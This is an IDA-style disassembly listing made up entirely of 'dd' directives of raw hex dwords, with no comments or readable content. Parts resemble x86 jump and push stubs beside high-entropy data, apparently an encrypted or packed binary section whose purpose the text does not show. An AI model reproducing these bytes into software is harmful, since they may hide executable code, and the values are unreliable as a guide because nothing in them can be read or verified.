		dd 0C6F8CF74h, 0DAACE460h, 9DF52BA8h, 0F7855F3Ch, 7099424Dh
		dd 69F0D1A5h, 0DF76EE57h, 59C084E1h, 22A2033Dh,	0ECD29ABBh
		dd 0CDA9CD77h, 0EC50A752h, 490120C2h, 69B5CED0h, 4AD178Ch
		dd 0B06FD232h, 5063FBh,	39070000h, 43F14BCCh, 84E16B25h
		dd 231D3CA5h, 0A4851CC0h, 9F375EECh, 7269E09h, 0FC630763h
		dd 0C930943Dh, 78E7AF8Eh, 0C9309511h, 86E27B5Ah, 0CA13FEF4h
		dd 8DC5CA5Eh, 304D6712h, 37E398C9h, 0E78312A2h,	304E1178h
		dd 0D27B5AC9h, 7346h, 9B37F400h, 0D8487612h, 0D7482C64h
		dd 0CF74A089h, 4E70E9C8h, 0F8C66FD5h, 0D9BDD98Bh, 5FC07CE7h
		dd 0C2EC889Ch, 0DD440C2Dh, 0A61E87B9h, 89C571EEh, 9FE4C2ECh
		dd 873DA693h, 4DC8682Eh, 16CDB629h, 2F0EC934h, 0A91B88B6h
		dd 122C4830h, 3D460EAEh, 59D47CF1h, 3E9E033Dh, 4CB886A7h
		dd 68200198h, 0A0B2930Ch, 0A2BCF74h, 3CA3C7A3h,	0C2EC887Dh
		dd 95276F4Eh, 76129B37h, 7822FCE9h, 0E97051CFh,	5FF66ED7h
		dd 0D9400461h, 0F6804E46h, 5DC9B2DFh, 78D193F0h, 0FE67DD46h
		dd 64FD5FC0h, 4BB671Ch,	688D9C76h, 0B688D565h, 2B0A9349h
		dd 7CE85D63h, 0CA7AEBD5h, 9D093753h, 3FB6F27h, 49000000h
		dd 0D54FFB49h, 63C0FE67h, 0DB4678E1h, 5FC6F861h, 0E4427CE5h
		dd 61C7F960h, 0DB447AE3h, 5AC6F861h, 0E1457BE2h, 83EDFA63h
		dd 48904ECh, 5E08924h, 4, 8704E883h, 575C2404h,	0C781E789h
		dd 4, 8704EF83h, 895C243Ch, 0AB68242Ch,	89000021h, 7E682404h
		dd 89000025h, 77B9240Ch, 0BD13E029h, 0F2676560h, 8359CD01h
		dd 248904ECh, 24048124h, 4, 0EF895758h,	8B087889h, 0C481243Ch
		dd 4, 582434FFh, 4C481h, 34FF0000h, 0C4835D24h,	0EBC4E904h
		dd 387DFFFCh, 0B80B1CACh, 64792DDh, 0E0FFC503h
dword_575A0C	dd 67CE255Dh, 7708F9C9h, 7F0A06F2h, 2A9B54h, 2C5D96Ch
		dd 704A2CD1h, 40FD333Fh, 694233A5h, 36F46F67h, 0B22A7A9h
		dd 73328410h, 2526224Bh, 0D344D77h, 2BDE6759h, 425545E1h
		dd 4F4AC4F8h, 41BDECCDh, 7E2739B9h, 5AD7E024h, 679ED6F3h
		dd 0C2B504EBh, 0FFE96C9Ah, 0F2000004h, 0BB852C90h, 0E30994Bh
		dd 0BD832A92h, 0F319844h, 0A0822B99h, 0A2228478h, 12D2350Bh
		dd 0BE1E85BBh, 8BC2917h, 1E81E5A1h, 0C2E9015Bh,	3A5E3A6Ch
		dd 0E900F6A5h, 0BEF6D7C2h, 6ED64F0Ch, 68F793F7h, 0C93094B1h
		dd 4D733B1Ah, 0A4C069DBh, 0FFB7259Ah, 79E064C1h, 4B566F1Dh
		dd 945441D0h, 0C381E2DCh, 0B42899A7h, 0EB5B65FCh, 66DEE079h
		dd 0EE5967FEh, 0FE85EF76h, 0F793D834h, 0FB4D0C93h, 5F7EC92Fh
		dd 0FC26C17h, 86EAAC7Dh, 0E2AAD2CBh, 54FD67DCh,	0E55AF76Ah
		dd 0C1FF5677h, 5D63FA62h, 201E7AEAh, 0CF561EC6h, 62A1D3B7h
		dd 0A9138CCAh, 0CB4D86DBh, 0FC8D2EB9h, 0F7BFAF14h, 4EB5A28Ch
		dd 1D2347EEh, 0BF7168A9h, 0ECBB4F67h, 3D7554CDh, 0BB22A203h
		dd 30367224h, 0EE3843C9h, 0F4559D09h, 6B5601h, 4FE40000h
		dd 68F76ED6h, 0C93094AFh, 0ED74F054h, 54CD6FD3h, 8775A1DAh
		dd 7EE185E1h, 0C93094BBh, 0AE132D0Ch, 0FEB6970Eh, 50B49985h
		dd 0D101F4B3h, 53CA72EFh, 16A3A72h, 0D8000000h,	0F46DD74Fh
		dd 8DF55ACAh, 0FB5112Fh, 3C384A2Eh, 0FB61C0AAh,	68314362h
		dd 5EC7F94Fh, 165E7FE6h, 0EC50B18Fh, 0D9453E75h, 0F55C087Ch
		dd 43EA5ACBh, 6BD94FF1h, 0F358CCF2h, 940D2C90h,	0C825F18Ah
		dd 0E682E65Eh, 3094C279h, 622A0BC9h, 54CBAFCBh,	0C93094A5h
		dd 384EF66Eh, 0F66F5119h, 79E9D74Eh, 661D5AC3h,	0B1FF57BCh
		dd 5B3401F4h, 86000000h, 0F1786715h, 9AE05B66h,	0CA7AECD2h
		dd 47F56D53h, 44EE95DEh, 0EF55B38Dh, 67DD4876h,	0D6300E46h
		dd 8FF9C76Eh, 0D724CD5h, 0A7136AFh, 80DB3B20h, 4B1801F4h
		dd 0AA000000h, 0F26BD94Fh, 8CF855CCh, 0C3E25AC7h, 6A117BE2h
		dd 0CC3709C0h, 0E0A88910h, 98FC68DEh, 0C9813BA6h, 0D74FD260h
		dd 0AD6BF46Dh, 0CC93094h, 2A14AB77h, 784E06B6h,	1F4B40Ch
		dd 0D29h, 0E734D00h, 990937AEh,	0BA9BBA23h, 671540F2h
		dd 0FEF2A904h, 0E3DD9547h, 0E262C27Fh, 0E27B5A7Bh, 0BE7DE286h
		dd 0FC9304Bh, 0EB58662Eh, 0E398E079h, 0F666DA37h, 7F493B5Fh
		dd 4780B35Bh, 771B5D15h, 0BE35E47Bh, 0B796C92Fh, 58CCF296h
		dd 5FC0A4ECh, 0CF73DAEDh, 7395D7Ch, 1DC73F9Ch, 0CC84A584h
		dd 4AFA6B55h, 31B3102Eh, 75EED079h, 10C956CFh, 0A1C2EBCAh
		dd 0CBB950DAh, 0F76A5AF0h, 1A4F3745h, 49BA84CCh, 970C329Bh
		dd 198AB42Dh, 482C32ABh, 1D550F76h, 0E65FBC66h,	85E1D77Eh
		dd 0AEFBB02Ch, 132h, 129B371Ch,	0D4BD0476h, 5A3D156Bh
		dd 0A3E97612h, 0EACF7468h, 0F76C52CBh, 0AA17294Dh, 0EDD37A32h
		dd 0CCA8CC78h, 0EC20A853h, 0DA4521C2h, 0C2EC201Fh, 0E0A889A8h
		dd 66DE4779h, 0BB85E1FFh, 0A21A874Ch, 733B1A83h, 0D4311E08h
		dd 8F107410h, 0C2EC1FCCh, 0FF65C3FDh, 2E664766h, 3F55B187h
		dd 4B9EFBB0h, 2C000000h, 2BEE7115h, 9CC93094h, 23B3F5BDh
		dd 269F692h, 4BC93095h,	0AD6CF36Ah, 0E6C93094h,	0C0FE919Dh
		dd 4766FF65h, 68AD490Fh, 9438930Ch, 90B1C930h, 635D39h
		dd 0E47DDF43h, 5C7DE4C5h, 3AEDBA2Eh, 0AAE22A5Bh, 853Eh
		dd 9B378C00h, 2C127612h, 0B2930ABAh, 30946E2Dh,	1A7E5FC9h
		dd 3093D685h, 9ED6F7C9h, 0A11B65FAh, 5B7ACF74h,	0DD87FCC2h
		dd 6BD94A74h, 381F7D0Fh, 8096FBFBh, 6CE51C8h, 5BC2EBCBh
		dd 0AC19F620h, 1625C38h, 0E4A20B43h, 9BA5C14Ch,	98FCB428h
		dd 335E0407h, 7DE4C5C9h, 0FB62E243h, 9B2EF883h,	0FB61C1FFh
		dd 2D3BB564h, 7F3716C9h, 781C9939h, 74CEE4E7h, 0AD0425CFh
		dd 8732ADC9h, 8C2EBCAh,	7150269Eh, 9B378B39h, 0E2E97612h
		dd 2BCF7827h, 0B31C6E0Ah, 0A9394DCBh, 89CCD0A2h, 0BF47344Ch
		dd 0F3506EF7h, 82BCD871h, 627BE1Eh, 5113704Eh, 110857C8h
		dd 0F742DC6h, 17CD3623h, 0A12380BEh, 3C990638h,	1AC15EC9h
		dd 0B35C9610h, 0F692B392h, 0B269F692h, 1B5C9610h, 0FF6A53Ah
		dd 0E9D75C96h, 0ABE3C27Ah, 0E5314A32h, 80299B08h, 0F86CDAE4h
		dd 7EE65F61h, 0AFE7C6E7h, 6AF53491h, 5C9610AFh,	81183918h
		dd 315h, 0FB49A700h, 0FE67D54Fh, 78E163C0h, 0F861DB46h
		dd 7CE55FC6h, 0F960E442h, 7AE361C7h, 0F861DB44h, 7BE25AC6h
		dd 0FA63E145h, 2F7368EDh, 0C890000h, 39616824h,	1C890000h
		dd 384A6824h, 0C890000h, 6BA5224h, 5354C822h, 0BBh, 89D32900h
		dd 81425BDAh, 0B3605FCAh, 42F28175h, 89F9F06Eh,	0EC815AD3h
		dd 4, 83242489h, 59042404h, 242C8153h, 7ACA667Ch, 8108418Fh
		dd 667C0841h, 34FF7ACAh, 0C4815924h, 4,	5B2434FFh, 0E904C483h
		dd 0FFFCE66Ah, 64661C1h, 0B83BAD46h, 0A6EDEB3Ch, 3FB8687Dh
		dd 3064798h, 1EE0FFC5h,	202C7F5Ch, 6C6085F3h, 0FD4EA0F5h
		dd 0B8308E00h, 1E0BE5A8h, 0E949887Fh, 148h, 50h, 54h, 58h
		dd 5Ch,	60h, 64h, 68h, 6Ch, 0B0h, 0B4h,	0B8h, 0BCh, 0C0h
		dd 0C4h, 0C8h, 0CCh, 0D0h, 0D4h, 0D8h, 0DCh, 0E0h, 0E4h
		dd 0E8h, 0ECh, 38h dup(0)
		dd offset dword_575A0C+5E0h
		dd 9F50EBh, 98E2858Dh, 0F8BE0647h, 89085371h, 479A2285h
		dd 0AEC28106h, 0C6528FC1h, 4402E985h, 0F3815406h, 0EB78A2Fh
		dd 91379D68h, 96A3BEBFh, 3481723Dh, 0F35FB424h,	0E051B951h
		dd 0B5FF712Fh, 64417E9h, 0A5D9D8Bh, 858D0644h, 64777AFh
		dd 0D0FFCE8Bh, 89F1BF0Fh, 442EE58Dh, 26858906h,	3306479Ah
		dd 442EF59Dh, 40E906h, 8B660000h, 0B58B56F3h, 6479A22h
		dd 85830689h, 6479A22h,	60C35E04h, 98E2B58Dh, 0FEB0647h
		dd 0FF006A56h, 2695FF36h, 5E06479Ah, 8304C683h,	0EC75003Eh
		dd 0D381C361h, 214D9E39h, 10818509h, 858D0644h,	6479AA9h
		dd 89D2BF0Fh, 44319D85h, 0DE806h, 7B550000h, 0AAB7AEE8h
		dd 2DEFE4Eh, 0E9E5F2A0h, 0Ah, 6DF59743h, 0BE944B4Fh, 89580A6Dh
		dd 4408A1BDh, 79C08106h, 0F00006Ch, 683h, 0ADBD8900h, 68064425h
		dd 1AF7h, 2539BD89h, 8B590644h,	4421699Dh, 5A30FF06h, 81FB8B66h
		dd 0D627F8F2h, 0C840F0Bh, 0F000000h, 68Eh, 6D850900h, 8106441Ah
		dd 0CF3514EAh, 5E935h, 4BCE0000h, 81600925h, 0C5CE3BEAh
		dd 0EF8A6012h, 24C1BD89h, 52610644h, 8F5CF780h,	0EB815000h
		dd 241A3379h, 4E8835Bh,	0E983FA8Bh, 0A6850F01h,	0E9FFFFFFh
		dd 0E5h, 0FFEE4D10h, 1F3271DCh,	7A0E0A1Dh, 33538FDDh, 7D2F6D37h
		dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h
		dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh
		dd 171E577Dh, 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h
		dd 0A1E4A9F7h, 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh
		dd 20602060h, 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h
		dd 28602060h, 0F0362BA7h, 0F360D650h, 96A1EFB6h, 0A7B4E0F7h
		dd 7192B8E3h, 0B9E9B3F4h, 2060F76Dh, 20602060h,	0F7202060h
		dd 351ADF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h
		dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h
		dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 0E0A1E35h, 66C1A800h
		dd 0F2FD54A7h, 5B56D43h, 0CBCE932h, 87680000h, 0E906479Eh
		dd 0FFFCE296h, 479F7968h, 0E28CE906h, 8268FFFCh, 0E90647A0h
		dd 0FFFCE282h, 47A14268h, 0E278E906h, 0C068FFFCh, 0E90647A1h
		dd 0FFFCE26Eh, 47A29968h, 0E264E906h, 0D868FFFCh, 0E90647A3h
		dd 0FFFCE25Ah, 47A4FF68h, 0E250E906h, 968FFFCh,	0E90647A6h
		dd 0FFFCE246h, 47A6FB68h, 0E23CE906h, 0A768FFFCh, 0E90647A7h
		dd 0FFFCE232h, 28813BA9h, 9F36AE16h, 329B41A1h,	8029930Ch
		dd 359C48BEh, 0B92F0D17h, 299CA20Bh, 0B52C12BBh, 3390AE07h
		dd 385C18B1h, 0E8F7F4A7h, 3183D5C2h, 0F76ED64Fh, 7FE65EC9h
		dd 76E34F34h, 740E040Dh, 0D65FAFBAh, 78185EF7h,	67593Dh
		dd 0B4FCDD44h, 0DCC6B4D0h, 19BF08BDh, 4FF56A22h, 8ECF73DAh
		dd 9B0836AFh, 66948E7Ah, 3415D8D6h, 0F0AB3450h,	0D9C2EBCAh
		dd 2719B0F8h, 9F06BEh, 0C2EBCB56h, 5DBA641Fh, 0EBD57CE8h
		dd 3753CA7Ah, 755D4D45h, 10D94C11h, 8B622222h, 0CEF0B899h
		dd 6876EF55h, 0B92A0713h, 3094A20Bh, 0C5FBB021h, 533h
		dd 9F5AC5A1h, 28C2EC0Eh, 1332AA16h, 0D64FE95Bh,	5CC9F76Eh
		dd 6B0741E8h, 0EBD94622h, 70CF74B4h, 73D08B14h,	0D8F9C2ECh
		dd 5EC7E690h, 0EC7416C1h, 31FD86C2h, 0B08F58CCh, 2E97A9FBh
		dd 42AEFEB6h, 1C000000h, 9B0D9B37h, 0F36C0829h,	0CF749F69h
		dd 0BA229EA0h, 0FBC95123h, 79B5F849h, 6F1D7958h, 3EA6D0ECh
		dd 4C3E1F86h, 990C9288h, 0B293B22Bh, 39FC63FAh,	0BBC2EC41h
		dd 95F156C0h, 5EFBB060h, 0AFh, 6ED64FECh, 0E55FC9F7h, 63E1427Ch
		dd 65FA9EFAh, 0C93094B6h, 407E3617h, 59037EE3h,	69C0E1C0h
		dd 6CD0330Dh, 97EDBB24h, 102EC930h, 78460EB6h, 0D8831C0Bh
		dd 0F1C93090h, 6658F1D0h, 98DE47FDh, 46D9BDF8h,	0CF749484h
		dd 0D686FBC5h, 78185EF7h, 5EC6593Dh, 0FFC9333Bh, 2284BADEh
		dd 0D3350BA2h, 23F2B411h, 0ED747DECh, 0A0179h, 0E25AC800h
		dd 5311754Bh, 0E05CC4FAh, 520A7749h, 0E163C5FBh, 5AC26A48h
		dd 0EFD178ECh, 5B65CC78h, 0E3DD74E8h, 2F6BC282h, 0F625D44Bh
		dd 0F0A6C2E8h, 6C671542h, 6D105AFDh, 0A7013F77h, 39AA943Dh
		dd 3790228Bh, 0F869579Bh, 63FCDD44h, 0C93094B8h, 75113011h
		dd 749F50EAh, 198B9CFh,	3E9B1765h, 0ACF7A23Dh, 0F1D0C2EBh
		dd 3C36C783h, 1D2CEB74h, 0D7ACC2ECh, 0A2D0B44Bh, 0FB0DAE27h
		dd 40FB6498h, 89C2EC13h, 6ED6E0A8h, 87FBB032h, 0A4h, 6ED64F35h
		dd 0E55FC9F7h, 9825E37Ch, 0B72CC930h, 920D690Dh, 0C93090E7h
		dd 2089C1E0h, 0A63FA51Eh, 8B28B0C2h, 0A89605E8h, 9C0AA6E0h
		dd 0CACAB824h, 46F40276h, 910E6A4Bh, 0CF747FDBh, 0DC9A3312h
		dd 0F99DF934h, 0ACE460C7h, 3324C233h, 3E5A7BC9h, 973EA600h
		dd 20853FA9h, 7DEC3A6Ch, 0F97039Ah, 36000009h, 87B910CCh
		dd 320CA51Fh, 0F9C76ECEh, 437DD488h, 0F4D67FE5h, 6ED6302Ch
		dd 0D68EF9C7h, 7AE2417Fh, 0CC78EDD3h, 0DA452165h, 0C2E8F51Fh
		dd 4F4CFEA8h, 0FCC26BD9h, 54079887h, 75C93094h,	6EDC7554h
		dd 1571D64Fh, 8BA3DDAFh, 29879C3Fh, 0F3526C08h,	41F0AB34h
		dd 0F8D9C930h, 360891D9h, 0D09C44CDh, 0F518CB44h, 487921B1h
		dd 0C9E8C9A4h, 8F3593ADh, 0D67F3716h, 0A9138CB2h, 0E3A052E1h
		dd 3DA2C64Fh, 0CF73EA63h, 33AFD0A2h, 7607E531h,	0F7881757h
		dd 0E4C1B429h, 601B844Ch, 69D0A3EAh, 520A7648h,	0AFCBEACBh
		dd 0E8026E30h, 0EA8EAFD6h, 6AF371D4h, 0DC9A034Bh, 927BE634h
		dd 465ACCD2h, 35AC8D68h, 35513514h, 0CC379C0Bh,	940F3110h
		dd 0E7FF6028h, 26D0AF62h, 1435A718h, 69D34E70h,	0FD99D1F0h
		dd 4BE262C3h, 75111075h, 0A0B62FEAh, 26B998D0h,	0D0A0B673h
		dd 0D84B7554h, 0FDDCFD64h, 61540A58h, 0F165FC85h, 806h
		dd 4CE557CDh, 0FB521272h, 56FF5DC5h, 0EC45F768h, 59F074D2h
		dd 0DD4BB17Bh, 95F0CE67h, 49B8862Fh, 9F043A93h,	0ACC88C25h
		dd 0E8F48833h, 0A51741C2h, 0F76ED64Fh, 0F09421B1h, 94500B94h
		dd 0D731C930h, 43A1B6Dh, 99B8219Bh, 2C2AB5D1h, 9DCF74C0h
		dd 0BF5315BCh, 12761276h, 0D1C3EF60h, 980765D6h, 0C2EC4BE1h
		dd 1C83CBEAh, 0C933E8C0h, 76482C0Dh, 0C0FE570Dh, 3E78E163h
		dd 0E07F1B92h, 0CF745BC3h, 635D3918h, 18264202h, 213A64ADh
		dd 0CBCD2CA6h, 350BA2EAh, 2A9A0BD0h, 2AB392B3h,	0AF15704Eh
		dd 0F4A554CBh, 726C2EBh, 2C69094Fh, 1021D748h, 81A0C930h
		dd 0EE367C24h, 0AF3BA27Dh, 746h, 8C25970Dh, 3B9252B2h
		dd 963F9D05h, 2C8537A8h, 9930B412h, 1D8B71BBh, 0D5300EA7h
		dd 89F8C66Fh, 0DF447AD3h, 0EC88CC65h, 0E8F3C873h, 0E55701C2h
		dd 5B72B15h, 31670B4Dh,	553110D4h, 782FA1CAh, 6F0B2ACFh
		dd 0D623F451h, 1BC738F3h, 91E9900Fh, 0C3E2C2E9h, 546AC3E2h
		dd 0AAEC75EFh, 8C309006h, 6056C9ADh, 0F3C92DBEh, 0EB964781h
		dd 0F5BDBFF8h, 2907A283h, 5F7DEDAFh, 6C852C6h, 158F0000h
		dd 0D4300EA7h, 1B87B910h, 0C93608A1h, 2284BA13h, 0FF290BA2h
		dd 9039AB1Dh, 248D37AEh, 9C35A71Ah, 2A8341A2h, 0E6950A6Eh
		dd 0E7C2E8F2h, 9B3703B1h, 95E97612h, 0F8CF7830h, 36E5FE8Ah
		dd 3A1B867Ch, 80672C5Eh, 0F731E877h, 0BB9AC2E8h, 2C904BC9h
		dd 0C53E0064h, 0DD457B1Fh, 60410360h, 3990D8F9h, 0F3A6395Dh
		dd 0D4C2E936h, 2283BDF5h, 0D57D3BA2h, 4061DB47h, 0D28ABB24h
		dd 6243C930h, 99066206h, 0C92FCDE2h, 0BC82CAEBh, 50349D47h
		dd 0AC2A4634h, 0C9A082DAh, 300FA356h, 0A91A24C9h, 0A283A23Bh
		dd 0F56FD4EAh, 10862A6Ch, 88A930B4h, 0DBA9CDA9h, 0FD27AD0Fh
		dd 6DF2BA1Ah, 0CF73B2ABh, 48F36C08h, 81C2EBB2h,	0BC9D47BFh
		dd 6A382F4h, 7BAA6832h,	0EF65F168h, 0D6000005h,	6759F06Ch
		dd 0D2EC45FFh, 5967CE6Eh, 0E3DD74E8h, 5476DF85h, 4EF650CCh
		dd 0F66ED9E7h, 5A02615Fh, 0EC58CDF3h, 0FA650145h, 0C2E8F23Fh
		dd 4F6CDE88h, 0C9F76ED6h, 741E85Ch, 0D946226Bh,	0CF74B4EBh
		dd 0BEDA4362h, 1E2C7CCh, 0D79F762Eh, 0EC298D48h, 0AA740FC2h
		dd 0B044E145h, 4512FBh,	37A00000h, 0E976129Bh, 0CF749F53h
		dd 9D029BBAh, 0C2EC88DAh, 188143A3h, 8938E37Ch,	0B091C2ECh
		dd 32AB118Eh, 24180279h, 7B0E1863h, 88D9801Fh, 0D3F2C2ECh
		dd 0BBF857A1h, 0B5FD1258h, 0AFEC2383h, 0FBD0FBh, 4F620000h
		dd 19E13DD6h, 0BEF81D39h, 0A19FFB9Fh, 22039A42h, 2FF2FEBDh
		dd 0A21A87C9h, 0A287F5D4h, 0D7604CE9h, 241A83CBh, 44F851C2h
		dd 3C1D95FAh, 0E047791Dh, 8BB52C64h, 5733AA1Ah,	48FC69h
		dd 0B61FC53Eh, 30485F29h, 2382BCC9h, 511938A1h,	271DF66Fh
		dd 0C1E6C34Dh, 0EDD37A5Bh, 1355CC78h, 0CD52367Fh, 0CF745A33h
		dd 0B3D7B392h, 0EC166D2Ch, 377F5EC2h, 0FD38D89Eh, 823AA799h
		dd 3C31AECAh, 0F1C932BFh, 70E953CFh, 2A147051h,	9FA108BCh
		dd 241EBB29h, 6A7DEC5Ch, 4B067F3h, 2D970000h, 0AC18268Fh
		dd 33AF9138h, 0A11E2089h, 3AAC923Bh, 1701238Ah,	0A801C325h
		dd 1CB52F96h, 0B41DBF22h, 2AB198Ah, 0FEBD2246h,	0CFC2E8F0h
		dd 67152B99h, 0DA640B7Ah, 0CBD7460Eh, 0B722456h, 0D7B450Dh
		dd 69573357h, 20DB44F8h, 0A9C93036h, 0D69C088h,	0FC51227Fh
		dd 7E36C28Bh, 0C861E340h, 0EE71157Ah, 0C930942Bh, 8143A29Ch
		dd 50183918h, 0E9767A16h, 0C9309432h, 0FF9BBA9Bh, 0B960FF9Bh
		dd 12C93094h, 2B0ABA2Ch, 9F5EFC63h, 8EAFCF74h, 88CD8817h
		dd 49B6C2ECh, 21C3FFC0h, 2504C073h, 0BF1D82BCh,	0C166D26h
		dd 220C7730h, 0B08EC93Dh, 0C96AFBh, 4FD80000h, 0C9F76ED6h
		dd 0E37CE55Fh, 0C9309825h, 0B212B72Ch, 84BA1332h, 1E86F61Fh
		dd 0AE37A51Ah, 5FD8FD8Fh, 9FD94061h, 41DEBAF3h,	0CF7478BFh
		dd 79FA7E0Ch, 0A263DBDAh, 5BA259C6h, 0A2BC2ECh,	0BC153442h
		dd 0BBDF56FAh, 3300C824h, 0BF2917C9h, 0F81CDF40h, 8CADC92Dh
		dd 0B293E5ADh, 178CB2D6h, 6DDBE5ADh, 6605EF7h, 16FBFB5Eh
		dd 98017DECh, 3890Ch, 0EA52B000h, 5B097D43h, 0E854CCF2h
		dd 5A027F41h, 0E95BCDF3h, 42BA6240h, 0F7C960E4h, 437DD490h
		dd 0EBD57CE0h, 2763CA7Ah, 0F01DDC43h, 0F8AEC2E8h, 0BD2B154Ah
		dd 16CE3907h, 0D06605Eh, 0BEFA2340h, 0CD644536h, 0B6D292F3h
		dd 3FA61E88h, 9802624Dh, 92B32850h, 4FC173DAh, 93F76ED6h
		dd 10893BADh, 0DE477931h, 8C7CCF66h, 0BCB4A7D5h, 0FA134322h
		dd 965A019Eh, 5273C92Fh, 79B45C1Ah, 887B6F1Dh, 0E4415F7Bh
		dd 8957C8ACh, 0C8CF73BBh, 2736A9E9h, 0FA67212Dh, 21B6EF88h
		dd 4C58877Ah, 0DE44DC30h, 0A0E6AE8Fh, 7EE18510h, 2D035180h
		dd 0E084E0C1h, 0FB50BC7Fh, 122C0D24h, 0E27B33B1h, 0BE7DE286h
		dd 0F24FB50h, 0F26BD131h, 0FCBAF2D3h, 22BDD954h, 2B42C822h
		dd 80BEDAFBh, 8DE9A123h, 0F69252B3h, 74B24C84h,	0AAD8503Dh
		dd 0C9AE2436h, 0F950181Fh, 4DB55EC7h, 0F66ED90Fh, 0F43C4E6Fh
		dd 1BBE9FB9h, 0DF9CDD0Dh, 7F76E27Bh, 46000002h,	0F7C960DCh
		dd 427CD58Fh, 0E9D77EDEh, 536DC478h, 0C4E64FF5h, 0DE86E05Ch
		dd 66DE4977h, 2A92F1CFh, 9C48BD83h, 8A157135h, 0C2E8EDCFh
		dd 4F1CAEF8h, 780A6ED6h, 0E0196FC7h, 5AC5A14Ah,	0C92FBE9Fh
		dd 0D8410928h, 0DFBBF29Eh, 73C1F240h, 2E4A6BCFh, 0AB12E4Ah
		dd 0C3C2EBBFh, 0BFBE7DE2h, 2E0FC2EBh, 7A7CCF66h, 0BCD855FDh
		dd 0BF9447D8h, 1435C2EBh, 0D9A7385Ch, 2AC92FC1h, 0AB32B214h
		dd 95B4C28Ah, 0ED57CFF1h, 0B77AE5A5h, 0C085BE2Ch, 0F381E530h
		dd 739CAE5Ah, 0F296DE83h, 3E0EE496h, 0E40A5DFAh, 8D6D33ACh
		dd 8DAC12E6h, 77BE5214h, 31E87713h, 9A0E668Ch, 1B5525E8h
		dd 0D2F3468Eh, 6561FE9Ah, 0AA14ADADh, 0EB5155D8h, 0A19FC25Ah
		dd 0A3D59D47h, 6BD8E682h, 42A39DF9h, 43A1B82h, 9ABB22A2h
		dd 0E0457BD2h, 0D9DDC164h, 52CBC163h, 18DC6h, 0EE4EB400h
		dd 570D7947h, 0FC60C0FEh, 46F66B55h, 0CD77D1EFh, 7EDE4664h
		dd 0CBF55C08h, 7F41E85Ch, 0CFF15804h, 347EE56h,	0EE41F867h
		dd 0DC8AC2E8h, 6ED64F6Eh, 8B21B1F7h, 0EC88A91Bh, 74B0BD73h
		dd 708EFCCFh, 86EAC10h,	0D5B11839h, 50C97BEBh, 838A3971h
		dd 0C1A5F080h, 304A805Eh, 0A0E0C1C9h, 8B8CFAC4h, 951DE4E9h
		dd 615F7E34h, 0E3C25B01h, 0CFE534ABh, 7A168222h, 0F6C85733h
		dd 5716824Eh, 9A9EF76h,	6F77E88Ch, 0AE10C1C2h, 70D5EB8Fh
		dd 7395DF4h, 506E269Eh,	6FC22F3h, 0F0663DE0h, 709674D1h
		dd 31A8C51Fh, 0E1A5h, 0C27AE800h, 73F1556Bh, 0C07CE4DAh
		dd 72EA5769h, 0C183E5DBh, 7AE24A68h, 0CFF1580Ch, 7B45EC58h
		dd 0C3FD5408h, 0F4BE262h, 0ED45F46Bh, 0D086C2E8h, 3DD64F62h
		dd 25B39C57h, 29BBA35h,	561AC44h, 0B43BFE61h, 0AD8CC92Fh
		dd 0F81E81E5h, 0C9CF73E4h, 8E2E93ADh, 0EBC46A11h, 0E65D63C2h
		dd 0DF765776h, 0BF1D85BBh, 9421B1F7h, 61176FF0h, 4876C933h
		dd 224667DDh, 0C322A71Ch, 98B99801h, 5F2D49D0h,	7DC25524h
		dd 82BCF42Fh, 340AA321h, 138C15CFh, 0FD6EF698h,	0CD36086Ch
		dd 0E7AF8E17h, 40A5929Ch, 0B2132D84h, 0BDCFAB32h, 0E0994741h
		dd 9E46BE90h, 58C9F7BFh, 41BE80E4h, 1D23029Bh, 82A33AAAh
		dd 502B53CAh, 48FC69C6h, 0FE66DFE1h, 10F367h, 15410000h
		dd 942BEE71h, 6FD4C930h, 0EAA283F5h, 0D54F60D2h, 63C0FE67h
		dd 0DB4678E1h, 5FC6F861h, 0E4427CE5h, 61C7F960h, 0DB447AE3h
		dd 5AC6F861h, 0E1457BE2h, 56EDFA63h, 0C681E689h, 4, 3304EE83h
		dd 34312434h, 24343324h, 6898685Ch, 1C890000h, 0E7895724h
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 50243489h,	479CE6B8h
		dd 8BC38906h, 0C4832404h, 348B5404h, 4C48124h, 68000000h
		dd 258Dh, 8F241C89h, 34FF0846h,	0C4815E24h, 4, 51241C8Bh
		dd 0C181E189h, 4, 8704C183h, 0E95C240Ch, 0FFFCD5F2h, 5789B02h
		dd 1AAE150Ch, 0A7BD8416h, 0ADB81819h, 30647A8h,	5EE0FFC5h
		dd 0AE76DF37h, 8D2BE53Dh, 635060Eh, 1367D4C6h, 5B2A4298h
		dd 0A213C8C9h, 0E92B61C8h, 75h,	0D88C6660h, 840F04A8h
		dd 35h,	0B5FF016Ah, 6442D7Dh, 77AF858Dh, 0D0FF0647h, 17C58589h
		dd 0FE8B0644h, 680CEFC1h, 20040000h, 26A006Ah, 0D6857h
		dd 95FF0001h, 64417C5h,	32E9h, 0E985C600h, 56064402h, 0C530DF68h
		dd 0E9B5FFA9h, 8D064417h, 4777AF85h, 89D0FF06h,	4408D185h
		dd 99858D06h, 5006442Bh, 56A206Ah, 0D195FF56h, 61064408h
		dd 6E0C1C3h, 9104BEBh, 0C53C2F0Eh, 0ACDA4B1Ah, 0D2D41CA4h
		dd 0E45C5Ch, 0F53134CEh, 0B327CE1Bh, 5B34D129h,	0E62AC7DDh
		dd 0DF1BCE17h, 0A6DB6734h, 46810500h, 0A3EA1A00h, 0D5h
		dd 0C8199C00h, 480000FEh, 0FBFEh, 0E6412800h, 727DD427h
		dd 0CBEE9C3h
		dd 81660000h, 838F94D7h, 442F11BDh, 850F0006h, 5Bh, 9EDCBB66h
		dd 11E8h, 3A419900h, 7C1233C3h,	22D1996Ch, 0A21CB53Ch
		dd 8E0F97A8h, 6, 2029B589h, 0B85A0644h,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 81C35545h
		dd 0B4B93D00h, 0BA66E248h, 4C280A8h, 0B9BD8B00h, 8B06441Fh
		dd 0DA8166C0h, 9D89895Eh, 644312Dh, 20CDBD83h, 75000644h
